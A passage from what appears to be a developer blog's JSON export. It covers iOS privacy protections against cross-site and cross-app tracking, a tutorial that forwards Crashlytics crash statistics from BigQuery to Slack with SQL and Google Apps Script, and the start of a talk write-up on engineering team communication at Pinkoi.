which third-party ad and data collection services websites and apps use, secretly recording our every move.Let’s assume that all of Harry’s activities are secretly collected by the same third party, then in its eyes, Harry’s profile might look like this:On the left is personal information, possibly from website registration data or delivery data; on the right are behavior and interest tags based on Harry’s activity records.In its eyes, it might know Harry better than Harry knows himself; this data can be used on social media to make users more addicted; used in advertising, it can stimulate Harry to overconsume or create a birdcage effect (e.g., recommending you buy new pants, then you buy shoes to match, then socks… it never ends).If you think the above is already scary enough, there’s something even scarier:Having your personal information and knowing your financial status… the potential for malicious acts is unimaginable, such as kidnapping, theft…Current Privacy Protection Methods Legal regulations (e.g., SGS-BS10012 personal data certification, CCPA, GDPR…) Privacy agreements, de-identificationMainly through legal constraints; it’s hard to ensure services comply 100% of the time, and there are many malicious programs on the internet, making it difficult to guarantee that services won’t be hacked, causing data leaks; in short, “ if someone wants to do evil, it’s technically feasible, relying solely on regulations and corporate conscience is not enough.”Moreover, we are often “forced” to accept privacy terms, unable to authorize individual privacy settings. Either we don’t use the service at all, or we use it but have to accept all privacy terms; privacy terms are also not transparent, so we don’t know how our data will be collected and used, and we don’t know if a third party is collecting our data without our knowledge.Additionally, Apple has mentioned that minors’ personal privacy is often collected by services without the consent of their guardians.Apple’s Privacy PrinciplesKnowing the harm caused by personal privacy leaks, let’s look at Apple’s privacy principles.Excerpted from the Apple Privacy White Paper, Apple’s ideal is not to completely block but to balance. For example, in recent years, many people have installed AD Block to completely block ads, which is not what Apple wants to see; because if completely disconnected, it’s hard to provide better services.Steve Jobs said at the 2010 All Things Digital Conference: I believe people are smart, some people want to share more data than others. Ask them every time, annoy them until they tell you to stop asking, let them know exactly how you are going to use their data. — translated by Chun-Hsiu Liu Apple believes privacy is a fundamental human rightApple’s Four Privacy Principles: Data Minimization: Only take the data you need On-Device Processing: Based on Apple’s powerful processor chips, personal privacy-related data should be processed locally unless necessary User Transparency and Control: Let users know what privacy information is being collected and how it is used; also, allow users to control the sharing of individual privacy data Security: Ensure the security of data storage and transmissioniOS Privacy Protection Feature Adjustments Over the YearsUnderstanding the harm of personal privacy leaks and Apple’s privacy principles, let’s look at the technical means; we can see the adjustments iOS has made over the years to protect personal privacy.Between WebsitesAs mentioned earlierThe first method can use Third-Party Cookies to link visitor data across websites: 🈲, in iOS >= 11, Safari has implemented Intelligent Tracking Prevention (WebKit)Enabled by default, the browser actively identifies and blocks third-party cookies used for tracking and advertising; and with each iOS version, the identification program is continuously strengthened to prevent omissions.Using Third-Party Cookies to track users across websites is basically no longer feasible on Safari.The second method is to use IP Address + device information to calculate a Fingerprint to identify the same visitor across different websites: 🈲,iOS >= 15 Private RelayEspecially after Third-Party Cookies were banned, more and more services are adopting this method. Apple is also aware of this… Fortunately, in iOS 15, even the IP information is obfuscated for you!The Private Relay service will first randomly send the user’s original request to Apple’s Ingress Proxy, then randomly dispatch it to the partner CDN’s Egress Proxy, and finally, the Egress Proxy will request the target website.The entire process is encrypted and can only be decrypted by the chip in your iPhone. Only you know both the IP and the target website of the request simultaneously. Apple’s Ingress Proxy only knows your IP, the CDN’s Egress Proxy only knows Apple’s Ingress Proxy IP and the target website, and the website only knows the CDN’s Egress Proxy IP.From an application perspective, all devices in the same region will use the same shared CDN’s Egress Proxy IP to request the target website. Therefore, the website cannot use the IP as Fingerprint information anymore.For technical details, refer to “WWDC 2021 — Get ready for iCloud Private Relay”.Supplementary Private Relay: Apple/CDN Provider does not have complete logs for tracing:I checked how Apple prevents it from being used maliciously but couldn’t find an answer. It might be similar to how Apple won’t unlock a criminal’s iPhone for the FBI; privacy is a fundamental human right for everyone. Enabled by default, no special connection needed Does not affect speed or performance IP will be guaranteed to be in the same country and time zone (users can choose to blur the city), cannot specify IP Only effective for certain trafficiCloud+ users: All traffic on Safari + Insecure HTTP Requests in AppsGeneral users: Only effective for third-party tracking tools installed on websites in Safari Officially provides CDN Egress IP List for website developers to identify (do not mistakenly block Egress IPs, it will cause group harm) Network administrators can ban DNS to disable Private Relay for all connections iPhone can disable Private Relay for specific network connections Private Relay will be disabled when connecting to VPN/Proxy Currently still in Beta version (2021/10/24), enabling it may cause some services to be unreachable (China region, Chinese version of TikTok) or services to be frequently logged outPrivate Relay Test Image Image 1 Not enabled: Original IP address Image 2 Enabled Private Relay — Maintain general location: IP becomes CDN IP but still in Taipei Image 3 Enabled Private Relay — Use country and time zone (broaden blur): IP becomes CDN IP & changes to Taichung, but still in the same time zone and countryTest ProjectApps can use URLSessionTaskMetrics to analyze Private Relay connection records.To digress, the method of using IP addresses to obtain Fingerprints to identify users can no longer be used.Between AppsThe first method was to directly access the Device UUID in the early days: 🈲,iOS >= 7 prohibits access to Device UUID, Use IDentifierForAdvertisers/IDentifierForVendor instead IDFV: All apps under the same developer account can get the same UUID; using KeyChain is also a current method for identifying user UUID. IDFA: Different developers and different apps can get the same UUID, but users can reset or disable IDFA. 🈲,iOS >= 14.5 IDentifierForAdvertisers requires user consent before useAfter iOS 14.5, Apple has strengthened the restrictions on accessing IDFA. Apps need to ask for user permission to track before obtaining the IDFA UUID; without asking or without permission, the value cannot be obtained.Preliminary survey data from market research companies show that about 70% of users (some say 90% in the latest data) do not allow tracking to access IDFA, which is why people say IDFA is dead!Test ProjectThe second method for inter-app communication is URL Scheme:iOS apps can use canOpenURL to detect if a specific app is installed on the user’s phone. 🈲,iOS >= 9 requires setting in the app before use; cannot detect arbitrarily. iOS ≥ 15 adds a restriction, allowing a maximum of 50 other app schemes. Apps linked on or after iOS 15 are limited to a maximum of 50 entries in the LSApplicationQueriesSchemes key.Between Website and AppAs mentioned earlierThe first method is also through Cookie integration:In the early days, iOS Safari’s cookies and App WebView’s cookies could communicate, allowing data exchange between websites and apps.The method involves embedding a 1-pixel WebView component in the app’s background to secretly read Safari cookies. 🈲,iOS >= 11 prohibits sharing cookies between Safari and App WebViewIf you need to obtain Safari cookies (e.g., using website cookies to log in directly), you can use the SFSafariViewController component; however, this component forces a prompt window and cannot be customized, ensuring that users are not unknowingly tracked.The second method is using IP Address + device information to calculate a fingerprint to identify the same user across different websites:As mentioned earlier, iOS ≥ 15 has been obfuscated by Private Relay.The last and only remaining method — Pasteboard:Using the clipboard to transfer cross-platform information, as Apple cannot disable clipboard usage across apps, but it can prompt the user. ⚠️ iOS >= 14 adds clipboard access warnings⚠️ 2022/07/22 Update: iOS 16 Upcoming ChangesStarting from iOS ≥ 16, if the user does not actively perform a paste action, the app’s attempt to read the clipboard will trigger a prompt window, and the user needs to allow it for the app to read the clipboard information.UIPasteBoard’s privacy change in iOS 16Implementing Deferred Deep Link with Pasteboard _Here, I want to mention the privacy panic regarding the clipboard in iOS 14. For more details, you can refer to my previous article “iOS 14 Clipboard Privacy Panic: The Dilemma Between Privacy and Convenience”. _Although we cannot rule out the possibility of reading the clipboard for data theft, more often, our app needs to provide a better user experience:Before implementing Deferred Deep Link, when we guide users to install the app from the website, opening the app after installation will only open the homepage by default. A better user experience should be opening the app to the corresponding page where the user left off on the website.To achieve this functionality, there needs to be a way to transfer data between the website and the app. As mentioned in the article, other methods have been banned, and currently, only the clipboard can be used as a medium for storing information (as shown above).Including Firebase Dynamic Links and the latest version of Branch.io (previously Branch.io used IP Address Fingerprint to achieve this) also use the clipboard for Deferred Deep Link.For implementation, you can refer to my previous article: iOS Deferred Deep Link Implementation (Swift) In general, if it is for Deferred Deep Link, the clipboard information will only be read the first time the app is opened or when returning to the app. It will not be read during use or at odd times, which is worth noting.A better approach is to use UIPasteboard.general.detectPatterns to detect if the clipboard data is what we need before reading it.Test ProjectAfter iOS ≥ 15, the clipboard prompt has been optimized. If it is the user’s own paste action, the prompt will no longer appear!Advertising Effectiveness SolutionsAs mentioned earlier, Apple’s privacy principle hopes for a balance rather than completely blocking users from services.Advertising Effectiveness Statistics Between Websites:In Safari, the feature that blocks Intelligent Tracking Prevention is Private Click Measurement (WebKit) used to measure advertising effectiveness without compromising personal privacy.The specific process is as shown above. When a user clicks an ad on site A and goes to site B, a Source ID (to identify the same user) and Destination information (target site) will be recorded in the browser. When the user completes a conversion on site B, a Trigger ID (representing what action) will also be recorded in the browser.These two pieces of information will be combined and sent to sites A and B after a random 24 to 48 hours to get the advertising effectiveness.Everything is handled on-device by Safari, and protection against malicious clicks is also provided by Safari.Advertising Effectiveness Statistics Between Apps and Websites or Apps:You can use SKAdNetwork (requires application to join Apple) similar to Private Click Measurement, which will not be elaborated here. It is worth mentioning that Apple is not working behind closed doors; SKAdNetwork is currently at version 2.0. Apple continues to collect feedback from developers and advertisers to balance personal privacy control and continuously optimize SDK functionality. Here, I sincerely wish that Deferred Deep Link can be integrated with the SDK, as we aim to enhance user experience without intending to invade personal privacy.For technical details, refer to “WWDC 2021 — Meet privacy-preserving ad attribution”.Cross-Platform All apps supporting third-party login on iOS ≥ 13 must implement Sign in with Apple, otherwise, they cannot be successfully listed on the App Store. Name can be edited Real email can be hidden (replaced with a virtual email generated by Apple) Users can request account deletion Apps must implement this by 2022/01/31 🆕 iOS ≥ 15 iCloud+ users support Hide My Email Supports all email fields in Safari and apps Users can generate virtual emails in settingsSimilar to Sign in with Apple, virtual emails generated by Apple replace real emails. After receiving an email, Apple will forward it to your real email, thus protecting your email information.Similar to a 10-minute email but more powerful; as long as you don’t disable it, the virtual email address is yours permanently; there is no limit to the number of new addresses you can create, and it’s unclear how Apple prevents abuse.Settings -> Apple ID -> Hide My EmailOthersApp privacy details on the App Store: Apps must explain on the App Store what user data will be tracked and how it will be used .For detailed information, refer to: “App privacy details on the App Store”.Fine control of personal privacy data: Starting from iOS ≥ 14, location and photo access can be more finely controlled. You can authorize access to only certain photos or allow location access only while using the app.Test Project Starting from iOS ≥ 15, the CLLocationButton button is added to enhance user experience. It allows obtaining the current location through user clicks without asking for permission or consent. This button cannot be customized and can only be triggered by user actions.Personal Privacy Usage Prompt: iOS ≥ 15, added personal privacy usage prompts, such as: clipboard, location, camera, microphoneApp Privacy Usage Report: iOS ≥ 15, can export a report of all apps’ privacy-related usage and network activity for the past 7 days. Since the report file is a .ndjson plain text file, it is not easy to view directly; you can first download the “ Privacy Insights “ app from the App Store to view the report. Go to Settings -> Privacy -> Scroll to the bottom “Record App Activity” -> Enable Record App Activity. Save App Activity. Choose “Import to Privacy Insights “. After importing, you can view the privacy report.As mentioned in the news, WeChat indeed secretly reads photo information in the background when the app is launched. Additionally, I also caught a few other Chinese apps doing sneaky things, so I directly disabled all their permissions in settings. If it weren’t for this feature exposing them, who knows how long our data would have been stolen!RecapApple’s privacy principlesAfter understanding the adjustments to privacy features over the years, let’s revisit Apple’s privacy principles: Data Minimization: Apple uses technical means to limit the data accessed. On-Device Processing: Privacy data is not uploaded to the cloud; everything is processed locally. For example, Safari Private Click Measurement, Apple’s machine learning SDK CoreML, Siri/Live Text features in iOS ≥ 15, Apple Maps, News, photo recognition features, etc. User Transparency and Control: Various new privacy access prompts, activity reports, and fine-grained privacy control features. Security: The security of data storage and transmission, avoiding misuse of UserDefault, iOS 15 can directly use CryptoKit for end-to-end encryption, and the transmission security of Private Relay.Fragmented DataReturning to the initial technical means of piecing together Harry’s correlation diagram, the connections between websites or apps are blocked, leaving only the clipboard, which will prompt.For service registration and third-party login information, you can use Sign in with Apple and hide my email features to prevent leaks; or use more native iOS apps.Offline activities might be protected by using Apple Card to prevent privacy leaks? No one has the chance to piece together Harry’s activity profile anymore.Apple is Human-CentricTherefore, “human-centric” is the term I would use to describe Apple’s philosophy. Going against the commercial market requires a strong belief. Related to this, “technology-centric” is the term I would use for Google, as Google always creates many geeky tech projects. Lastly, “business-centric” is the term I would use for Facebook, as FB pursues commercial gains on many levels.In addition to adjustments for privacy features, iOS has continuously enhanced features to prevent phone addiction over the past few years, introducing “Screen Time Report,” “App Usage Limits,” “Focus Mode,” and more; helping everyone break free from phone addiction.Finally, I hope everyone can Value personal privacy Not be controlled by capital Reduce virtual addiction Prevent societal decline Live a brilliant life in the real world!Private Relay/IDFA/Pasteboard/Location Test Project:References WWDC 2021 — Apple’s privacy pillars in focus Apple privacy white paper — A Day in the Life of Your Data WWDC 2021 — Get ready for iCloud Private Relay WWDC 2021 — Meet privacy-preserving ad attribution iOS 14 Clipboard Data Panic: The Dilemma of Privacy and Convenience iOS Deferred Deep Link Implementation (Swift) All About iOS UUID (Swift/iOS ≥ 6)If you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Crashlytics + Big Query: Creating a More Immediate and Convenient Crash Tracking Tool", "url": "/posts/e77b80cc6f89/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, crashlytics, firebase, bigquery, slack", "date": "2021-10-19 22:33:30 +0800", "snippet": "Crashlytics + Big Query: Creating a More Immediate and Convenient Crash Tracking ToolIntegrating Crashlytics and Big Query to automatically forward crash records to a Slack ChannelResultsPinkoi iOS...", "content": "Crashlytics + Big Query: Creating a More Immediate and Convenient Crash Tracking ToolIntegrating Crashlytics and Big Query to automatically forward crash records to a Slack ChannelResultsPinkoi iOS Team Real PhotoFirst, let’s look at the results. We query Crashlytics crash records regularly every week; filter out the top 10 issues with the most crashes; and send the information to a Slack Channel, making it convenient for all iOS teammates to quickly understand the current stability.ProblemFor app developers, the Crash-Free Rate can be said to be the most important metric; the data represents the proportion of app users who did not encounter crashes. I think every app would hope its Crash-Free Rate ~= 99.9%; but the reality is that it’s impossible. As long as there is code, there can be bugs, not to mention some crashes are caused by underlying issues (Apple) or third-party SDKs. Additionally, the DAU (Daily Active Users) volume can also impact the Crash-Free Rate. The higher the DAU, the more likely it is to encounter many sporadic crash issues.Since a 100% crash-free app does not exist, tracking and handling crashes becomes very important. Besides the most common Google Firebase Crashlytics (formerly Fabric), there are other options like Bugsnag and Bugfender. I haven’t compared these tools personally, so interested friends can research on their own. If you use other tools, the content introduced in this article won’t be applicable.CrashlyticsThe benefits of choosing Crashlytics are: Stability, backed by Google Free, easy, and quick to install Besides crashes, it can also log error events (e.g., Decode Error) One Firebase suite can handle everything: other services include Google Analytics, Realtime Database, Remote Config, Authentication, Cloud Messaging, Cloud Storage… Side note: It is not recommended to build a formal service entirely on Firebase, as the charges can become very expensive once the traffic increases… it’s a trap.Crashlytics also has many drawbacks: Crashlytics does not provide an API to query crash data Crashlytics only stores crash records for the last 90 days Crashlytics’ Integrations support and flexibility are extremely poorThe most painful part is the poor support and flexibility of Integrations, coupled with the lack of an API to write scripts to connect crash data. This means you have to manually check Crashlytics for crash records from time to time to track crash issues.Crashlytics only supports the following Integrations: [Email Notification] — Trending stability issues (crash issues encountered by more and more people) [Slack, Email Notification] — New Fatal Issue (crash issue) [Slack, Email Notification] — New Non-Fatal Issue (non-crash issue) [Slack, Email Notification] — Velocity Alert (crash issues that suddenly increase in number) [Slack, Email Notification] — Regression Alert (issues that were solved but reappeared) Crashlytics to Jira issueThe content and rules of the above Integrations cannot be customized.Initially, we directly used 2. New Fatal Issue to Slack or Email, and for Email, we used Google Apps Script to trigger subsequent processing scripts; however, this notification would bombard the notification channel crazily, because it would notify for any issue, big or small, or even sporadic crashes caused by user devices or iOS itself. As DAU increased, we were bombarded by these notifications every day, and only about 10% of them were truly valuable, related to our program errors, and encountered by many users.As a result, it did not solve the problem of Crashlytics being difficult to track automatically, and we still had to spend a lot of time reviewing whether the issue was important.Crashlytics + Big QueryAfter searching around, we only found this method, and the official also only provides this method; this is the trap under the free candy coating. I guess neither Crashlytics nor Analytics Event will or plan to launch an API for users to query data via API; because the only official suggestion is to import the data into Big Query for use, and Big Query charges for storage and queries beyond the free quota. Storage: The first 10 GB per month is free. Query: The first 1 TB per month is free. (The query quota means how much data is processed when you run a Select query) For details, refer to Big Query pricing.The setup details for Crashlytics to Big Query can be found in the official documentation, which requires enabling GCP services, binding a credit card, etc.Start Using Big Query to Query Crashlytics LogAfter setting up the Crashlytics Log to Big Query import cycle and completing the first import with data, we can start querying the data.First, go to Firebase Project -> Crashlytics -> Click the “•••” in the top right corner of the list -> Click “BigQuery dataset”.After going to GCP -> Big Query, you can select “firebase_crashlytics” in the left “Explorer” -> select your Table name -> “Detail” -> You can view the Table information on the right, including the latest modification time, used capacity, storage period, etc. Make sure there is imported data available for querying.You can switch to the “SCHEMA” tab at the top to view the Table’s column information or refer to the official documentation.Click the “Query” button in the top right to open an interface with an assisted SQL Builder (if you are not familiar with SQL, it is recommended to use this):Or directly click “COMPOSE NEW QUERY” to open a blank Query Editor:Regardless of the method, it is the same text editor; after entering the SQL, you can automatically complete the SQL syntax check and estimate the query quota cost in the top right (This query will process XXX when run.):After confirming the query, click “RUN” in the top left to execute the query, and the results will be displayed in the Query results section below. ⚠️ Pressing “RUN” to execute the query will accumulate the query quota and incur charges; so please be careful not to run queries recklessly.If you are unfamiliar with SQL, you can first understand the basic usage and then refer to the Crashlytics official examples for modification:1. Count the number of crashes per day for the past 30 days:SELECT COUNT(DISTINCT event_id) AS number_of_crashes, FORMAT_TIMESTAMP(\"%F\", event_timestamp) AS date_of_crashesFROM `yourProjectID.firebase_crashlytics.yourTableName`GROUP BY date_of_crashesORDER BY date_of_crashes DESCLIMIT 30;2. Query the top 10 most frequent crashes in the past 7 days:SELECT DISTINCT issue_id, COUNT(DISTINCT event_id) AS number_of_crashes, COUNT(DISTINCT installation_uuid) AS number_of_impacted_user, blame_frame.file, blame_frame.lineFROM `yourProjectID.firebase_crashlytics.yourTableName`WHERE event_timestamp >= TIMESTAMP_SUB(CURRENT_TIMESTAMP(),INTERVAL 168 HOUR) AND event_timestamp < CURRENT_TIMESTAMP()GROUP BY issue_id, blame_frame.file, blame_frame.lineORDER BY number_of_crashes DESCLIMIT 10; However, the data retrieved using this official example is sorted differently from what you see in Crashlytics. This is likely because it groups by blame_frame.file (nullable) and blame_frame.line (nullable).3. Query the top 10 devices with the most crashes in the past 7 days:SELECT device.model,COUNT(DISTINCT event_id) AS number_of_crashesFROM `yourProjectID.firebase_crashlytics.yourTableName`WHERE event_timestamp >= TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 168 HOUR) AND event_timestamp < CURRENT_TIMESTAMP()GROUP BY device.modelORDER BY number_of_crashes DESCLIMIT 10;For more examples, please refer to the official documentation. If your SQL query returns no data, first ensure that the Crashlytics data for the specified conditions has been imported into Big Query (for example, the default SQL example queries the crash records of the day, but the data might not have been synchronized yet, so no results are found); if there is data, then check whether the filter conditions are correct.Top 10 Crashlytics Issue Big Query SQLHere, we modify the official example from point 2. We want the results to match the crash issues and sorting data we see on the first page of Crashlytics.Top 10 crash issues in the past 7 days:SELECT DISTINCT issue_id, issue_title, issue_subtitle, COUNT(DISTINCT event_id) AS number_of_crashes, COUNT(DISTINCT installation_uuid) AS number_of_impacted_user FROM `yourProjectID.firebase_crashlytics.yourTableName`WHERE is_fatal = true AND event_timestamp >= TIMESTAMP_SUB( CURRENT_TIMESTAMP(), INTERVAL 7 DAY ) GROUP BY issue_id, issue_title, issue_subtitle ORDER BY number_of_crashes DESC LIMIT 10;Comparison of Crashlytics’ Top 10 crash issues results, matched ✅.Use Google Apps Script to regularly query & forward to SlackGo to Google Apps Script homepage -> Log in with the same account as Big Query -> Click “New Project” in the upper left corner, and you can rename the project after opening a new project.First, let’s complete the integration with Big Query to get the query data:Refer to the official documentation example, and bring in the above Query SQL.function queryiOSTop10Crashes() { var request = { query: 'SELECT DISTINCT issue_id, issue_title, issue_subtitle, COUNT(DISTINCT event_id) AS number_of_crashes, COUNT(DISTINCT installation_uuid) AS number_of_impacted_user FROM `firebase_crashlytics.YourTableName` WHERE is_fatal = true AND event_timestamp >= TIMESTAMP_SUB( CURRENT_TIMESTAMP(), INTERVAL 7 DAY ) GROUP BY issue_id, issue_title, issue_subtitle ORDER BY number_of_crashes DESC LIMIT 10;', useLegacySql: false }; var queryResults = BigQuery.Jobs.query(request, 'YourProjectID'); var jobId = queryResults.jobReference.jobId; // Check on status of the Query Job. var sleepTimeMs = 500; while (!queryResults.jobComplete) { Utilities.sleep(sleepTimeMs); sleepTimeMs *= 2; queryResults = BigQuery.Jobs.getQueryResults(projectId, jobId); } // Get all the rows of results. var rows = queryResults.rows; while (queryResults.pageToken) { queryResults = BigQuery.Jobs.getQueryResults(projectId, jobId, { pageToken: queryResults.pageToken }); Logger.log(queryResults.rows); rows = rows.concat(queryResults.rows); } var data = new Array(rows.length); for (var i = 0; i < rows.length; i++) { var cols = rows[i].f; data[i] = new Array(cols.length); for (var j = 0; j < cols.length; j++) { data[i][j] = cols[j].v; } } return data}query: The parameters can be arbitrarily replaced with the written Query SQL.The structure of the returned object is as follows:[ [ \"67583e77da3b9b9d3bd8feffeb13c8d0\", \"<compiler-generated> line 2147483647\", \"specialized @nonobjc NSAttributedString.init(data:options:documentAttributes:)\", \"417\", \"355\" ], [ \"a590d76bc71fd2f88132845af5455c12\", \"libnetwork.dylib\", \"nw_endpoint_flow_copy_path\", \"259\", \"207\" ], [ \"d7c3b750c3e5587c91119c72f9f6514d\", \"libnetwork.dylib\", \"nw_endpoint_flow_copy_path\", \"138\", \"118\" ], [ \"5bab14b8f8b88c296354cd2e\", \"CoreFoundation\", \"-[NSCache init]\", \"131\", \"117\" ], [ \"c6ce52f4771294f9abaefe5c596b3433\", \"XXX.m line 975\", \"-[XXXX scrollToMessageBottom]\", \"85\", \"57\" ], [ \"712765cb58d97d253ec9cc3f4b579fe1\", \"<compiler-generated> line 2147483647\", \"XXXXX.heightForRow(at:tableViewWidth:)\", \"67\", \"66\" ], [ \"3ccd93daaefe80f024cc8a7d0dc20f76\", \"<compiler-generated> line 2147483647\", \"XXXX.tableView(_:cellForRowAt:)\", \"59\", \"59\" ], [ \"f31a6d464301980a41367b8d14f880a3\", \"XXXX.m line 46\", \"-[XXXX XXX:XXXX:]\", \"50\", \"41\" ], [ \"c149e1dfccecff848d551b501caf41cc\", \"XXXX.m line 554\", \"-[XXXX tableView:didSelectRowAtIndexPath:]\", \"48\", \"47\" ], [ \"609e79f399b1e6727222a8dc75474788\", \"Pinkoi\", \"specialized JSONDecoder.decode<A>(_:from:)\", \"47\", \"38\" ]]You can see it is a two-dimensional array.Add the function to forward to Slack:Continue adding the new function below the above code.function sendTop10CrashToSlack() { var iOSTop10Crashes = queryiOSTop10Crashes(); var top10Tasks = new Array(); for (var i = 0; i < iOSTop10Crashes.length ; i++) { var issue_id = iOSTop10Crashes[i][0]; var issue_title = iOSTop10Crashes[i][1]; var issue_subtitle = iOSTop10Crashes[i][2]; var number_of_crashes = iOSTop10Crashes[i][3]; var number_of_impacted_user = iOSTop10Crashes[i][4]; var strip_title = issue_title.replace(/[\\<|\\>]/g, ''); var strip_subtitle = issue_subtitle.replace(/[\\<|\\>]/g, ''); top10Tasks.push(\"<https://console.firebase.google.com/u/1/project/YOUR_FIREBASE_PROJECTID/crashlytics/app/YOUR_FIREBASE_APP_PROJECT_ID/issues/\"+issue_id+\"|\"+(i+1)+\". Crash: \"+number_of_crashes+\" times (\"+number_of_impacted_user+\" users) - \"+strip_title+\" \"+strip_subtitle+\">\"); } var messages = top10Tasks.join(\"\\n\"); var payload = { \"blocks\": [ { \"type\": \"header\", \"text\": { \"type\": \"plain_text\", \"text\": \":bug::bug::bug: iOS Top 10 Crashes in the Last 7 Days :bug::bug::bug:\", \"emoji\": true } }, { \"type\": \"divider\" }, { \"type\": \"section\", \"text\": { \"type\": \"mrkdwn\", \"text\": messages } }, { \"type\": \"divider\" }, { \"type\": \"actions\", \"elements\": [ { \"type\": \"button\", \"text\": { \"type\": \"plain_text\", \"text\": \"View Last 7 Days in Crashlytics\", \"emoji\": true }, \"url\": \"https://console.firebase.google.com/u/1/project/YOUR_FIREBASE_PROJECTID/crashlytics/app/YOUR_FIREBASE_APP_PROJECT_ID/issues?time=last-seven-days&state=open&type=crash&tag=all\" }, { \"type\": \"button\", \"text\": { \"type\": \"plain_text\", \"text\": \"View Last 30 Days in Crashlytics\", \"emoji\": true }, \"url\": \"https://console.firebase.google.com/u/1/project/YOUR_FIREBASE_PROJECTID/crashlytics/app/YOUR_FIREBASE_APP_PROJECT_ID/issues?time=last-thirty-days&state=open&type=crash&tag=all\" } ] }, { \"type\": \"context\", \"elements\": [ { \"type\": \"plain_text\", \"text\": \"Crash counts and versions are only counted for the last 7 days, not all data.\", \"emoji\": true } ] } ] }; var slackWebHookURL = \"https://hooks.slack.com/services/XXXXX\"; //Replace with your in-coming webhook URL UrlFetchApp.fetch(slackWebHookURL,{ method : 'post', contentType : 'application/json', payload : JSON.stringify(payload) })} If you don’t know how to obtain the incoming WebHook URL, you can refer to the “Obtaining Incoming WebHooks App URL” section in this article.Testing & SchedulingAt this point, your Google Apps Script project should have the above two functions.Next, please select the “sendTop10CrashToSlack” function at the top, and then click Debug or Run to execute a test run; since the first execution requires authentication, please execute it at least once before proceeding to the next step.After successfully executing a test run, you can start setting up the schedule for automatic execution:Select the clock icon on the left, then choose “+ Add Trigger” at the bottom right.For the first “Choose which function to run” (entry point of the function to be executed), change it to sendTop10CrashToSlack. The time period can be set according to personal preference. ⚠️⚠️⚠️ Please be aware that each query will accumulate and incur charges, so do not set it up carelessly; otherwise, you might end up bankrupt due to automatic scheduling.CompletionExample Result ImageFrom now on, you can quickly track the current app crash issues on Slack; you can even discuss them directly there.App Crash-Free Users Rate?If you want to track the App Crash-Free Users Rate, you can refer to the next article “Crashlytics + Google Analytics Automatic Query for App Crash-Free Users Rate”Further Reading Crashlytics + Google Analytics Automatic Query for App Crash-Free Users Rate Using Python + Google Cloud Platform + Line Bot to Automate Routine Tasks Creating a Fully Automated WFH Employee Health Status Reporting System with Slack Using Google Apps Script to Forward Gmail Emails to SlackIf you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "2021 Pinkoi Tech Career Talk - Decoding the High-Efficiency Engineering Team", "url": "/posts/11f6c8568154/", "categories": "Pinkoi, Engineering", "tags": "pinkoi, automation, ios-app-development, engineering-mangement, workflow", "date": "2021-09-09 20:13:53 +0800", "snippet": "2021 Pinkoi Tech Career Talk - Decoding the High-Efficiency Engineering TeamDecoding the high-efficiency engineering team at Pinkoi Tech TalkDecoding the High-Efficiency Engineering Team2021/09/08 ...", "content": "2021 Pinkoi Tech Career Talk - Decoding the High-Efficiency Engineering TeamDecoding the high-efficiency engineering team at Pinkoi Tech TalkDecoding the High-Efficiency Engineering Team2021/09/08 19:00 @ Pinkoi x YouratorMy Medium: ZhgChgLiAbout the TeamPinkoi’s work is composed of multiple Squads: Buyer-Squad: Focuses on buyer-side features Seller-Squad: Focuses on designer-side features Exploring-Squad: Focuses on browsing and exploration Ad-Squad: Focuses on platform advertising Out-Of-Squad: Primarily supports, infra, or process optimizationEach Squad is composed of various function teammates, including PM, Product Designer, Data, Frontend, Backend, iOS, Android, etc.; long-term and ongoing work goals are accomplished by the Squad.In addition to Squads, there are also cross-team Projects that run, mostly short to medium-term work goals, where the initiator or any team member can act as the Project Owner, and the task is closed upon completion. At the end, there is also how Pinkoi’s culture supports teammates in solving problems, if friends who are not interested in the actual content can directly scroll to the bottom of the page to view this section.Relationship Between Team Size and EfficiencyThe relationship between team size growth and work efficiency, from startups with 10 people to teams of hundreds (not yet challenged by thousands), but just jumping from 10 to 100, the 10x difference is significant in many aspects.With fewer people, communication and handling things are quick; discussing and resolving issues in person can be done swiftly, as the “human connection” is strong, enabling synchronous collaboration.However, in situations with more people, direct communication becomes challenging because with more collaborators, each discussion can take up a whole morning; and with many people collaborating, tasks need to be prioritized, and non-urgent matters cannot be addressed immediately, requiring asynchronous waiting to work on other tasks.Having more diverse roles join can lead to more specialized work division, increased productivity or quality, and faster output.But as mentioned earlier, conversely; there will be more collaboration with people, which means more time spent on communication.Moreover, small issues can be magnified, for example, if one person used to spend 10 minutes daily on a task like posting reports, it was manageable; but now, assuming there are 20 people, it multiplies, and each day, more than 3 hours are spent on posting reports; optimizing and automating this task becomes valuable at this point, saving 3 hours daily, which amounts to wasting an extra 750 hours over a year.As the team size grows, for the App Team, there are these roles that collaborate more closely.Backend — API, Product Designer — UI, these do not need to be mentioned, Pinkoi is an international product, so all functional texts need to be translated by the Localization Team. Also, because we have a Data Team doing data collection and analysis, besides developing features, we also need to discuss event tracking points with the Data Team.Customer Service is also a team that frequently interacts with us. Besides users sometimes directly providing feedback on order issues through the marketplace, more often users leave a one-star rating saying they encountered a problem. At this time, we also need the customer service team to help with in-depth inquiries, such as what problem did you encounter? How can we help you?With so many collaborative relationships mentioned above, it means there are many communication opportunities. However, remember, we are not avoiding or minimizing communication as much as possible; excellent engineers also need good communication skills.What we need to focus on is important communication, such as brainstorming, discussing requirements, content, and schedules; do not waste time on confirming repetitive issues or vague communication. Avoid situations where you ask me, I ask him, and so on.Especially in the era of the pandemic, communication time is precious and should be spent on more valuable discussions.“I thought you thought what I thought” — this sentence perfectly illustrates the consequences of unclear communication.Not just in work, in daily life, we often encounter misunderstandings due to different perceptions, and in life, harmony relies on mutual understanding; but in work, it’s different. If different perceptions are not discussed in depth, it’s easy to find out during the production stage that things are not as expected.Interface CommunicationThe idea introduced here is to communicate through a consensus interface, similar to the Dependency Inversion Principle in object-oriented programming in SOLID principles (if you don’t understand, it’s okay); the same concept can be applied to communication.The first step is to identify areas of communication that are unclear, need to be confirmed repeatedly, or require specific communication to be more focused and effective, or even situations where this delivery does not require additional communication.Once the issues are identified, you can define an “interface.” An interface is a medium, which can be a document, process, checklist, tool, etc.Use this “interface” as a bridge for communication between each other. There can be multiple interfaces, use the appropriate interface for each scenario; when encountering the same scenario, prioritize using this interface for initial communication. If further communication is needed, it can be based on this interface for focused discussion of the issues.App Team’s Collaboration with External PartiesHere are 4 examples of interface communication in collaboration with the App Team: The first one is the situation with Backend collaboration before any interface consensus, as shown in the above image.For how to use the API, if simply 